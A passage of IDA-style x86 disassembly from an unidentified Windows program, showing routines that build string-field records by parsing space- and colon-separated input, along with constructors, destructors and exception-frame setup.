loc_41C31C:				; CODE XREF: ___:0041C336j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C31C


loc_41C338:				; CODE XREF: ___:0041C314j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C390	proc near		; CODE XREF: sub_401D7Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C390
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
sub_41C390	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	7
		push	4
		push	0Ch
		push	10h
		push	0Ah
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+30h]
		push	8
		push	eax
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	4
		push	43h
		push	10h
		push	0Ah
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+48h]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447148
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C610	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C610
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_401424
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401424
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401424
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401424
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B36
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C83C
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C7CC
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C7CE
; ---------------------------------------------------------------------------


loc_41C7CC:				; CODE XREF: sub_41C610+1AFj
		xor	edi, edi


loc_41C7CE:				; CODE XREF: sub_41C610+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C83C:				; CODE XREF: sub_41C610+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C9BB
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41C94B
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C94D
; ---------------------------------------------------------------------------


loc_41C94B:				; CODE XREF: sub_41C610+32Ej
		xor	edi, edi


loc_41C94D:				; CODE XREF: sub_41C610+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C9BB:				; CODE XREF: sub_41C610+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CBF6
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44758A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CB5E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41CB5E:				; CODE XREF: sub_41C610+4D6j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CB86
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CB88
; ---------------------------------------------------------------------------


loc_41CB86:				; CODE XREF: sub_41C610+569j
		xor	edi, edi


loc_41CB88:				; CODE XREF: sub_41C610+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CBF6:				; CODE XREF: sub_41C610+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CD9B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CD0E
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CD10
; ---------------------------------------------------------------------------


loc_41CD0E:				; CODE XREF: sub_41C610+6F1j
		xor	edi, edi


loc_41CD10:				; CODE XREF: sub_41C610+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CD9B:				; CODE XREF: sub_41C610+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CF40
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CEB3
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CEB5
; ---------------------------------------------------------------------------


loc_41CEB3:				; CODE XREF: sub_41C610+896j
		xor	edi, edi


loc_41CEB5:				; CODE XREF: sub_41C610+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CF40:				; CODE XREF: sub_41C610+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D1A1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D1A1
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44758A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D0EC
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D212
; ---------------------------------------------------------------------------


loc_41D0EC:				; CODE XREF: sub_41C610+A64j
		push	94h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D114
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D114:				; CODE XREF: sub_41C610+AF7j
		xor	edi, edi


loc_41D116:				; CODE XREF: sub_41C610+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FBE
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_41D1A1:				; CODE XREF: sub_41C610+116j
					; sub_41C610+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D212:				; CODE XREF: sub_41C610+549j
					; sub_41C610+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C610	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D540	proc near		; CODE XREF: sub_401B36j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D540
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+58h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D540	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D5D0	proc near		; CODE XREF: sub_4014B0j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D5D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+58h]
		mov	[esp+14h+var_4], 3
		call	sub_401226
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_41D5D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_4021C6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D670
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E6A
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		lea	ecx, [esi+50h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401424
		lea	ecx, [esi+65h]
